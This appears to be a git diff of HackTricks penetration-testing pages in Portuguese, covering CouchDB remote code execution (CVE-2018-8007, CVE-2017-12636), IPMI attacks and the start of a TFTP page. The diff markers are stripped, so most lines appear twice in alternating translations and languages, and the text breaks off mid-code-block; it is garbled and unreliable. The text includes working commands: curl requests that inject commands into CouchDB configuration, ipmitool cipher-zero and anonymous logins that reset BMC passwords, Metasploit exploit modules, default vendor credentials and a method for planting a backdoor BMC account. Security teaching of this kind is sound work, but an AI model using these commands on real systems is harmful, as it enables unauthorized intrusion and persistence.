Uma vulnerabilidade recentemente divulgada, CVE-2018-8007, afetando o Apache CouchDB foi explorada, revelando que a exploração requer permissões de escrita no arquivo `local.ini`. Embora não seja diretamente aplicável ao sistema alvo inicial devido a restrições de segurança, foram feitas modificações para conceder acesso de escrita ao arquivo `local.ini` para fins de exploração. Passos detalhados e exemplos de código são fornecidos abaixo, demonstrando o processo.
Uma vulnerabilidade recentemente divulgada, CVE-2018-8007, que afeta o Apache CouchDB, foi explorada, revelando que a exploração requer permissões de escrita no arquivo `local.ini`. Embora não seja diretamente aplicável ao sistema alvo inicial devido a restrições de segurança, modificações foram feitas para conceder acesso de escrita ao arquivo `local.ini` para fins de exploração. Passos detalhados e exemplos de código são fornecidos abaixo, demonstrando o processo.
Primeiramente, o ambiente é preparado garantindo que o arquivo `local.ini` seja gravável, verificado listando as permissões:
Primeiro, o ambiente é preparado garantindo que o arquivo `local.ini` seja gravável, verificado listando as permissões:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
@ -156,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Para explorar a vulnerabilidade, é executado um comando curl, visando a configuração `cors/origins` em `local.ini`. Isso injeta uma nova origem juntamente com comandos adicionais na seção `[os_daemons]`, com o objetivo de executar código arbitrário:
Para explorar a vulnerabilidade, um comando curl é executado, direcionando a configuração `cors/origins` em `local.ini`. Isso injeta uma nova origem juntamente com comandos adicionais na seção `[os_daemons]`, com o objetivo de executar código arbitrário:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
A verificação subsequente mostra a configuração injetada em `local.ini`, contrastando-a com um backup para destacar as alterações:
A verificação subsequente mostra a configuração injetada em `local.ini`, contrastando-a com um backup para destacar as mudanças:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
@ -169,57 +170,57 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Inicialmente, o arquivo esperado (`/tmp/0xdf`) não existe, indicando que o comando injetado ainda não foi executado. Uma investigação adicional revela que processos relacionados ao CouchDB estão em execução, incluindo um que potencialmente poderia executar o comando injetado:
Inicialmente, o arquivo esperado (`/tmp/0xdf`) não existe, indicando que o comando injetado ainda não foi executado. Investigações adicionais revelam que processos relacionados ao CouchDB estão em execução, incluindo um que pode potencialmente executar o comando injetado:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Ao terminar o processo identificado do CouchDB e permitir que o sistema o reinicie automaticamente, a execução do comando injetado é acionada, confirmada pela existência do arquivo anteriormente ausente:
Ao encerrar o processo CouchDB identificado e permitir que o sistema o reinicie automaticamente, a execução do comando injetado é acionada, confirmada pela existência do arquivo anteriormente ausente:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Esta exploração confirma a viabilidade da exploração CVE-2018-8007 sob condições específicas, especialmente a necessidade de acesso de escrita ao arquivo `local.ini`. Os exemplos de código fornecidos e os passos procedimentais oferecem um guia claro para replicar o exploit em um ambiente controlado.
Esta exploração confirma a viabilidade da exploração do CVE-2018-8007 sob condições específicas, notavelmente a exigência de acesso gravável ao arquivo `local.ini`. Os exemplos de código fornecidos e os passos procedimentais oferecem um guia claro para replicar a exploração em um ambiente controlado.
Para mais detalhes sobre CVE-2018-8007, consulte o aviso da mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
Para mais detalhes sobre o CVE-2018-8007, consulte o aviso da mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Explorando CVE-2017-12636 com Permissões de Escrita no local.ini**
### **Explorando o CVE-2017-12636 com Permissões de Gravação no local.ini**
Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código por meio do processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x comumente visada. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta:
Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código via o processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x, comumente visada. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Para acomodar o CouchDB versão 2.0, um novo caminho é utilizado:
Para acomodar a versão 2.0 do CouchDB, um novo caminho é utilizado:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Tentativas de adicionar e invocar um novo servidor de consulta foram encontradas com erros relacionados a permissões, conforme indicado pela saída a seguir:
As tentativas de adicionar e invocar um novo servidor de consulta foram encontradas com erros relacionados a permissões, conforme indicado pela seguinte saída:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Mais investigação revelou problemas de permissão com o arquivo `local.ini`, que não estava gravável. Ao modificar as permissões do arquivo com acesso root ou homer, tornou-se possível prosseguir:
Uma investigação mais aprofundada revelou problemas de permissão com o arquivo `local.ini`, que não era gravável. Ao modificar as permissões do arquivo com acesso root ou homer, tornou-se possível prosseguir:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Tentativas subsequentes de adicionar o servidor de consulta tiveram sucesso, como demonstrado pela ausência de mensagens de erro na resposta. A modificação bem-sucedida do arquivo `local.ini` foi confirmada por meio da comparação de arquivos:
As tentativas subsequentes de adicionar o servidor de consulta foram bem-sucedidas, como demonstrado pela ausência de mensagens de erro na resposta. A modificação bem-sucedida do arquivo `local.ini` foi confirmada por meio da comparação de arquivos:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
O processo continuou com a criação de um banco de dados e um documento, seguido por uma tentativa de executar código através de um mapeamento de visualização personalizado para o servidor de consulta recém-adicionado:
O processo continuou com a criação de um banco de dados e um documento, seguido por uma tentativa de executar código através de um mapeamento de visualização personalizado para o novo servidor de consulta adicionado:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Um **[resumo](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** com um payload alternativo fornece mais informações sobre a exploração do CVE-2017-12636 em condições específicas. **Recursos úteis** para explorar essa vulnerabilidade incluem:
Um **[resumo](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** com uma carga útil alternativa fornece mais informações sobre a exploração da CVE-2017-12636 sob condições específicas. **Recursos úteis** para explorar essa vulnerabilidade incluem:
- [Código de exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Entrada no Exploit Database](https://www.exploit-db.com/exploits/44913/)
- [Código de exploração POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Entrada na Exploit Database](https://www.exploit-db.com/exploits/44913/)
## Shodan
@ -230,16 +231,17 @@ Um **[resumo](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -2,45 +2,46 @@
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
## Basic Information
### **Visão Geral do IPMI**
### **Overview of IPMI**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** oferece uma abordagem padronizada para gerenciamento remoto e monitoramento de sistemas de computador, independente do sistema operacional ou estado de energia. Essa tecnologia permite que os administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou sem resposta, e é especialmente útil para:
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** oferece uma abordagem padronizada para gerenciamento e monitoramento remoto de sistemas computacionais, independente do sistema operacional ou estado de energia. Esta tecnologia permite que administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou não respondem, e é especialmente útil para:
- Configurações de inicialização pré-OS
- Configurações de pré-inicialização do sistema operacional
- Gerenciamento de desligamento
- Recuperação de falhas no sistema
- Recuperação de falhas do sistema
O IPMI é capaz de monitorar temperaturas, voltagens, velocidades do ventilador e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Para sua operação são necessários uma fonte de energia e uma conexão LAN.
O IPMI é capaz de monitorar temperaturas, voltagens, velocidades de ventiladores e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Essencial para seu funcionamento são uma fonte de energia e uma conexão LAN.
Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por inúmeros fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte à versão 2.0 para serial sobre LAN. Componentes-chave incluem:
Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por diversos fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte da versão 2.0 para serial over LAN. Os componentes principais incluem:
- **Controlador de Gerenciamento da Placa Base (BMC):** O microcontrolador principal para operações do IPMI.
- **Barramentos e Interfaces de Comunicação:** Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
- **Baseboard Management Controller (BMC):** O microcontrolador principal para operações de IPMI.
- **Buses e Interfaces de Comunicação:** Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
- **Memória IPMI:** Para armazenar logs e dados.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Porta Padrão**: 623/UDP/TCP (Normalmente é em UDP, mas também pode ser executado em TCP)
**Porta Padrão**: 623/UDP/TCP (Normalmente está no UDP, mas também pode estar rodando no TCP)
## Enumeração
## Enumeration
### Descoberta
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
@ -53,7 +54,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### Vulnerabilidades do IPMI
No reino do IPMI 2.0, uma falha significativa de segurança foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do **tipo de cifra 0**. Essa vulnerabilidade, documentada em detalhes na [pesquisa de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permite acesso não autorizado com qualquer senha desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.
No âmbito do IPMI 2.0, uma falha de segurança significativa foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do **tipo de cifra 0**. Esta vulnerabilidade, documentada em detalhes na [pesquisa de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permite acesso não autorizado com qualquer senha, desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.
### **Bypass de Autenticação do IPMI via Cifra 0**
@ -61,53 +62,52 @@ Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser emp
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
A exploração dessa falha é possível com `ipmitool`, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuário:
A exploração dessa falha é alcançável com `ipmitool`, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuários:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **Recuperação Remota de Hash de Senha de IPMI 2.0 RAKP Authentication**
### **Recuperação de Hash de Senha Remota de Autenticação RAKP do IPMI 2.0**
Essa vulnerabilidade permite a recuperação de senhas salgadas e hasheadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:
Essa vulnerabilidade permite a recuperação de senhas hash salgadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **Autenticação Anônima IPMI**
Uma configuração padrão em muitos BMCs permite o acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando `ipmitool`:
Uma configuração padrão em muitos BMCs permite acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Senhas em texto simples do IPMI da Supermicro**
### **Supermicro IPMI Senhas em Texto Claro**
Uma escolha de design crítica no IPMI 2.0 torna necessário o armazenamento de senhas em texto simples dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como `/nv/PSBlock` ou `/nv/PSStore` levanta preocupações significativas de segurança:
Uma escolha de design crítica no IPMI 2.0 exige o armazenamento de senhas em texto claro dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como `/nv/PSBlock` ou `/nv/PSStore` levanta preocupações significativas de segurança:
```bash
cat /nv/PSBlock
```
### **Vulnerabilidade de UPnP do Supermicro IPMI**
### **Vulnerabilidade UPnP do IPMI da Supermicro**
A inclusão de um ouvinte UPnP SSDP no firmware do IPMI da Supermicro, especialmente na porta UDP 1900, introduz um risco de segurança grave. Vulnerabilidades no SDK da Intel para Dispositivos UPnP versão 1.3.1, conforme detalhado pela [divulgação da Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permitem acesso root ao BMC:
A inclusão de um ouvinte SSDP UPnP no firmware IPMI da Supermicro, particularmente na porta UDP 1900, introduz um grave risco de segurança. Vulnerabilidades no Intel SDK para Dispositivos UPnP versão 1.3.1, conforme detalhado pela [divulgação da Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permitem acesso root ao BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Ataque de Força Bruta
### Brute Force
**A HP randomiza a senha padrão** de seu produto **Integrated Lights Out (iLO)** durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar **credenciais padrão estáticas**. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido da seguinte forma:
**A HP randomiza a senha padrão** para seu produto **Integrated Lights Out (iLO)** durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar **credenciais padrão estáticas**. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido a seguir:
- **HP Integrated Lights Out (iLO)** usa uma **cadeia de 8 caracteres randomizada de fábrica** como sua senha padrão, demonstrando um nível de segurança mais alto.
- Produtos como **Dell's iDRAC, IBM's IMM** e **Fujitsu's Integrated Remote Management Controller** usam senhas facilmente adivinháveis como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
- **HP Integrated Lights Out (iLO)** usa uma **string aleatória de 8 caracteres** como sua senha padrão, demonstrando um nível de segurança mais alto.
- Produtos como **iDRAC da Dell, IMM da IBM** e **Controlador de Gerenciamento Remoto Integrado da Fujitsu** usam senhas facilmente adivinháveis, como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
- Da mesma forma, **Supermicro IPMI (2.0), Oracle/Sun ILOM** e **ASUS iKVM BMC** também usam credenciais padrão simples, com "ADMIN", "changeme" e "admin" servindo como suas senhas.
## Accessing the Host via BMC
## Acessando o Host via BMC
O acesso administrativo ao Controlador de Gerenciamento de Placa Base (BMC) abre vários caminhos para acessar o sistema operacional do host. Uma abordagem simples envolve explorar a funcionalidade de Teclado, Vídeo e Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell root via GRUB (usando `init=/bin/sh`) ou inicializando a partir de um CD-ROM virtual configurado como disco de resgate. Esses métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer a reinicialização do host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, pode ser facilmente assumido através das funcionalidades KVM ou serial-over-LAN (sol) do BMC via `ipmitool`. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que demanda mais investigação.
O acesso administrativo ao Controlador de Gerenciamento da Placa Base (BMC) abre várias vias para acessar o sistema operacional do host. Uma abordagem direta envolve a exploração da funcionalidade de Teclado, Vídeo, Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell raiz via GRUB (usando `init=/bin/sh`) ou inicializando a partir de um CD-ROM virtual configurado como um disco de resgate. Tais métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer reiniciar o host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, ele pode ser facilmente assumido por meio das funcionalidades KVM ou serial-over-LAN (sol) do BMC via `ipmitool`. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que exige investigação adicional.
## Introducing Backdoors into BMC from the Host
## Introduzindo Backdoors no BMC a partir do Host
Após comprometer um host equipado com um BMC, a **interface local do BMC pode ser aproveitada para inserir uma conta de usuário backdoor**, criando uma presença duradoura no servidor. Esse ataque exige a presença do **`ipmitool`** no host comprometido e a ativação do suporte ao driver BMC. Os comandos a seguir ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até DOS.
Ao comprometer um host equipado com um BMC, a **interface BMC local pode ser aproveitada para inserir uma conta de usuário backdoor**, criando uma presença duradoura no servidor. Este ataque requer a presença de **`ipmitool`** no host comprometido e a ativação do suporte ao driver BMC. Os seguintes comandos ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até mesmo DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -125,8 +125,23 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
```
## Shodan
* `porta:623`
* `port:623`
## Referências
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Informações Básicas
# Basic Information
**Protocolo de Transferência de Arquivos Trivial (TFTP)** é um protocolo direto usado na porta **UDP 69** que permite transferências de arquivos sem a necessidade de autenticação. Destacado no **RFC 1350**, sua simplicidade significa que ele não possui recursos de segurança essenciais, levando a um uso limitado na Internet pública. No entanto, o **TFTP** é amplamente utilizado em grandes redes internas para distribuir **arquivos de configuração** e **imagens de ROM** para dispositivos como **telefones VoIP**, graças à sua eficiência nesses cenários específicos.
**Trivial File Transfer Protocol (TFTP)** é um protocolo simples usado na **porta UDP 69** que permite transferências de arquivos sem a necessidade de autenticação. Destacado na **RFC 1350**, sua simplicidade significa que carece de recursos de segurança essenciais, levando a um uso limitado na Internet pública. No entanto, **TFTP** é amplamente utilizado em grandes redes internas para distribuir **arquivos de configuração** e **imagens de ROM** para dispositivos como **aparelhos VoIP**, graças à sua eficiência nesses cenários específicos.
**A FAZER**: Fornecer informações sobre o que é um rastreador Bittorrent (Shodan identifica essa porta com esse nome). Se você tiver mais informações sobre isso, avise-nos, por exemplo, no [**grupo telegram do HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Fornecer informações sobre o que é um Bittorrent-tracker (Shodan identifica esta porta com esse nome). Se você tiver mais informações sobre isso, nos avise, por exemplo, no [**grupo do telegram HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Porta Padrão:** 69/UDP
**Default Port:** 69/UDP
```
PORT STATE SERVICE REASON
69/udp open tftp script-set
@ -36,7 +37,7 @@ nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## Download/Upload
Você pode usar o Metasploit ou Python para verificar se é possível baixar/enviar arquivos:
Você pode usar Metasploit ou Python para verificar se você pode baixar/carregar arquivos:
```bash
